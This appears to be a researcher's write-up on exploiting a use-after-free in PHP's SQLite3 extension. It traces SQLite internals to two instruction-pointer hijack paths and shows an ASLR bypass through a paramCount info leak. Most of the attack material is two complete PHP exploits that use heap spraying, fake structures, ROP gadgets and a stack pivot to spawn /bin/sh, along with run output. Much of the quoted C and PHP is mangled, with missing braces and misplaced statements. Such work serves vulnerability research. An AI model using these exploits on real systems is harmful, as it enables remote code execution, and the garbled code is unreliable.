ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]

Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.

Code Path to Control EIP

So how do we get code execution from here? Let's take a look at the structure we control.
** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
** is really a pointer to an instance of this structure.

struct Vdbe {
  sqlite3 *db;            /* The database connection that owns this statement */
  Op *aOp;                 /* Space to hold the virtual machine's program */
  Mem *aMem;               /* The memory locations */
  Mem **apArg;             /* Arguments to currently executing user function */
  Mem *aColName;           /* Column names to return */
  Mem *pResultSet;         /* Pointer to an array of results */
  Parse *pParse;           /* Parsing context used to create this Vdbe */
  int nMem;               /* Number of memory locations currently allocated */
  int nOp;                 /* Number of instructions in the program */
  int nCursor;            /* Number of slots in apCsr[] */
  u32 magic;               /* Magic number for sanity checking */
  char *zErrMsg;           /* Error message written here */
  Vdbe *pPrev, *pNext;  /* Linked list of VDBEs with the same Vdbe.db */
  VdbeCursor **apCsr;      /* One element of this array for each open cursor */
  Mem *aVar;               /* Values for the OP_Variable opcode. */
  char **azVar;            /* Name of variables */
  ynVar nVar;              /* Number of entries in aVar[] */
  AuxData *pAuxData;      /* Linked list of auxdata allocations */
  i64 *anExec;            /* Number of times each op has been executed */
  int nScan;              /* Entries in aScan[] */
  ScanStatus *aScan;      /* Scan definitions for sqlite3_stmt_scanstatus() */

We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details
SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
  int rc;
  if( pStmt==0 ){
    rc = SQLITE_OK;
    Vdbe *v = (Vdbe*)pStmt;
    sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
    rc = sqlite3VdbeReset(v);  // take this path
int sqlite3VdbeReset(Vdbe *p){
  sqlite3 *db;
  db = p->db;
  sqlite3VdbeHalt(p);   // take this path
int sqlite3VdbeHalt(Vdbe *p){
  int rc;                         
  sqlite3 *db = p->db;

  if( p->db->mallocFailed ){
    p->rc = SQLITE_NOMEM;
  if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
  closeAllCursors(p);   // take this path
static void closeAllCursors(Vdbe *p){
  if( p->pFrame ){    // set p->pFrame to NULL
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    p->pFrame = 0;
    p->nFrame = 0;
  assert( p->nFrame==0 );

  if( p->apCsr ){   // take this path
    int i;
    for(i=0; i < p->nCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);   // take this path

sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it
int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
  Vdbe *v = pFrame->v;
  v->anExec = pFrame->anExec;
  v->aOnceFlag = pFrame->aOnceFlag;
  v->nOnceFlag = pFrame->nOnceFlag;
  v->aOp = pFrame->aOp;
  v->nOp = pFrame->nOp;
  v->aMem = pFrame->aMem;
  v->nMem = pFrame->nMem;
  v->apCsr = pFrame->apCsr;
  v->nCursor = pFrame->nCursor;
  v->db->lastRowid = pFrame->lastRowid;
  v->nChange = pFrame->nChange;
  v->db->nChange = pFrame->nDbChange;
  return pFrame->pc;

void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
  if( pCx==0 ){
  sqlite3VdbeSorterClose(p->db, pCx);
  if( pCx->pBt ){   // set pCx->pBt to NULL
    /* The pCx->pCursor will be close automatically, if it exists, by
    ** the call above. */
  else if( pCx->pCursor ){  // set pCx->pCursor to NULL
  else if( pCx->pVtabCursor ){  // take this path
    sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
    const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
    assert( pVtabCursor->pVtab->nRef>0 ); 
    pModule->xClose(pVtabCursor);  // control EIP
Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor)

We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.

   struct Vdbe       struct sqlite3 
[   sqlite3 *db    ]-------->[ AAAA ] 
[     nCursor      ]         [ AAAA ] 
[VdbeCursor **apCsr]----|    [ AAAA ]  
[      nVar        ]    |    [sqlite3_mutex *mutex] 
                           |--->[apCsr[0] |...| apCsr[n]]
               struct VdbeCursor   |     
                    [sqlite3_vtab_cursor *pVtabCursor]
      struct sqlite3_vtab_cursor   | 
                         [sqlite3_vtab *pVtab]   /* Virtual table of this cursor */
             struct sqlite3_vtab   |
                      [sqlite3_module *pModule]
          struct sqlite3_module    |     
                [int (*xClose)(sqlite3_vtab_cursor*)]

That's EIP control.

ASLR Bypass using Bruteforce

We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.

The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.

ASLR Bypass using Information Leak

But let's see if we can leak some information using the UAF. This is what the documentation says,
(PHP 5 >= 5.3.0)
SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

public int SQLite3Stmt::paramCount ( void )

And below is the implementation
** Return the number of wildcards that can be potentially bound to.
** This routine is added to support DBD::SQLite.  
int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
  Vdbe *p = (Vdbe*)pStmt;
  return p ? p->nVar : 0;
By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].


Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty

$ php -v
PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) 

SQLite3 support => enabled
SQLite3 module version => 0.7-dev
SQLite Library => 3.8.2

Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.


function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);

/* For information leak */

$db_spray = new SQLite3(':memory:');
$db_ileak = new SQLite3(':memory:');

$db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');

echo("[*] Triggering info leak using UAF". PHP_EOL);
$leaked_address = array();

/* massage heap */
for($i = 0; $i <= 80; $i++){
    $db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');

    /* info leak using paramCount */
    $count = $stmt->paramCount();
    $res   = $count & 0xff000000;
    if($res >= 0x08000000 && $res <= 0x0c000000)
    array_push($leaked_address, $count);

$heap = $leaked_address[0];
echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);

/* offset to vdbe struct from leaked address */
$offset = 0x140e8;
$stmt_address = $heap+$offset;
echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);

/* For code execution */

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');

/* setup fake structures */
$pad = 6;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);

$fake_vdbe .= pack("L", $stmt_address+216);  # sqlite3 *db 
$fake_vdbe .= pad(11);
$fake_vdbe .= pack("L", 0x44444444);  # p->nCursor
$fake_vdbe .= pad(4);
$fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
$fake_vdbe .= pad(36);

# sqlite3 db struct starts here
$fake_vdbe .= pad(3);
$fake_vdbe .= pad(1);    # sqlite3_mutex *mutex = NULL
$fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]

# apCsr struct starts here
$fake_vdbe .= pad(1);     # pCx->Cursor,  sqlite3BtreeCloseCursor
$fake_vdbe .= pad(1);     # pCx->pBt,     sqlite3BtreeClose
$fake_vdbe .= pad(6);
$fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
$fake_vdbe .= pad(6);
$fake_vdbe .= pad(1);     # pCsr->pSorter

# pVtabCursor
$fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
$fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule

# pModule
$fake_vdbe .= pack("L", 0x081a9930);  # pop esp; ret
$fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
$fake_vdbe .= pack("L", 0x55555555);  
$fake_vdbe .= pack("L", 0x086c2e16);  # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x08183a4b);   # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]

# payload
$fake_vdbe .= pack("L", 0x080965c0);  # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe)); 

/* heap spray */
for($i = 0; $i <= 200; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");

echo("[*] Triggering UAF to get shell". PHP_EOL);

renorobert@ubuntu:~$ php -f 66550_poc.php 
[*] Triggering info leak using UAF
[*] Leaked heap address = 0x9819790
[*] Vdbe statement struct at address = 0x982d878
[*] Triggering UAF to get shell
Alternate Code Path

After some analysis, I found another code path which is far more simpler to exploit
static void closeAllCursors(Vdbe *p){

  if( p->pFrame ){ // skip this
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    p->pFrame = 0;
    p->nFrame = 0;
  assert( p->nFrame==0 );

  if( p->apCsr ){      // skip this
    int i;
    for(i=0; inCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);
        p->apCsr[i] = 0;
  if( p->aMem ){ // skip this
    releaseMemArray(&p->aMem[1], p->nMem);
  while( p->pDelFrame ){ // skip this
    VdbeFrame *pDel = p->pDelFrame;
    p->pDelFrame = pDel->pParent;

  /* Delete any auxdata allocations made by the VM */
  if( p->pAuxData ) sqlite3VdbeDeleteAuxData(p, -1, 0); // take this path
  assert( p->pAuxData==0 );

void sqlite3VdbeDeleteAuxData(Vdbe *pVdbe, int iOp, int mask){
  AuxData **pp = &pVdbe->pAuxData;
  while( *pp ){
    AuxData *pAux = *pp;
    if( (iOp<0) || (pAux->iOp==iOp && (pAux->iArg>31 || !(mask & MASKBIT32(pAux->iArg)))))
      if( pAux->xDelete ){
        pAux->xDelete(pAux->pAux); // EIP control
New code path is sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeDeleteAuxData -> pAux->xDelete(pAux->pAux) . This is far more easier to control Vdbe->pAuxData->xDelete

   struct Vdbe       struct sqlite3 [Also a gadget] 
[   sqlite3 *db    ]-------->[ AAAA ] 
[                  ]         [ AAAA ] 
[AuxData *pAuxData ]----|    [ AAAA ]  
[                  ]    |    [sqlite3_mutex *mutex] 
                           |   struct AuxData
                           |--->[       ]
                                [       ]
                                [       ]

Our struct AuxData is very simple, we spray a single address throughout the heap, which is gadget mov dword [esp], edi ; call dword [edi+0x04]. Note that edi points to our vdbe struct ie sqlite3_stmt structure, which we have full control of. So sqlite3_stmt is given as first argument and we make the call [sqlite3_stmt+0x4].

At sqlite3_stmt+4 we have address of gadget pop esi; mov bh,0x03; pop esp; ret. Neat, we will pivot our stack back to our sqlite3_stmt.

But [sqlite3_stmt+0] points to sqlite3 *db struct, such that sqlite3_stmt->sqlite3->mutex should be NULL to avoid the mutex call. So we need to provide an address which will act both as valid struct as well as a neat gadget. This is what I got

gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]
Now this gadget will land us right into execl("/bin/sh", NULL) after the stack pivot and hence code execution. Below is the exploit


function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');

$pad = 298;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);
$fake_vdbe .= pack("L", 0x08093cbe);     # sqlite3 *db 

/* acts both as sqlite3 struct and gadget, db->mutex = NULL
gdb-peda$ x/3i 0x8093cbe
   0x8093cbe <_init+30>: add    esp,0x8
   0x8093cc1 <_init+33>: pop    ebx
   0x8093cc2 <_init+34>: ret    
gdb-peda$ x/4wx 0x8093cbe
0x8093cbe <_init+30>: 0x5b08c483 0x000000c3 0x00000000 0x00000000 [db->mutex]

$fake_vdbe .= pack("L", 0x086c2e16);     # pop esi;mov bh,0x03;pop esp;ret; stack pivot,called by sprayed gadget call dword [edi+0x04]
$fake_vdbe .= pad(2);

# payload
$fake_vdbe .= pack("L", 0x080965c0);     # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= pad(46);
$fake_vdbe .= pack("L", 0x0c0c0c0c);
$fake_vdbe .= str_repeat("A", 0x600 - strlen($fake_vdbe)); 

echo("[*] Reallocating freed memory". PHP_EOL);
/* heap spray */
for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");

echo("[*] Heap spraying the gadget". PHP_EOL);
$spray = str_repeat(pack("L", 0x08189c6f), 0x40000);  # mov dword [esp], edi ; call dword [edi+0x04]; edi points to vdbe struct

for($i = 0; $i <= 300; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($spray) . "')");
echo("[*] Triggering UAF to get shell". PHP_EOL);

Thats a long writeup!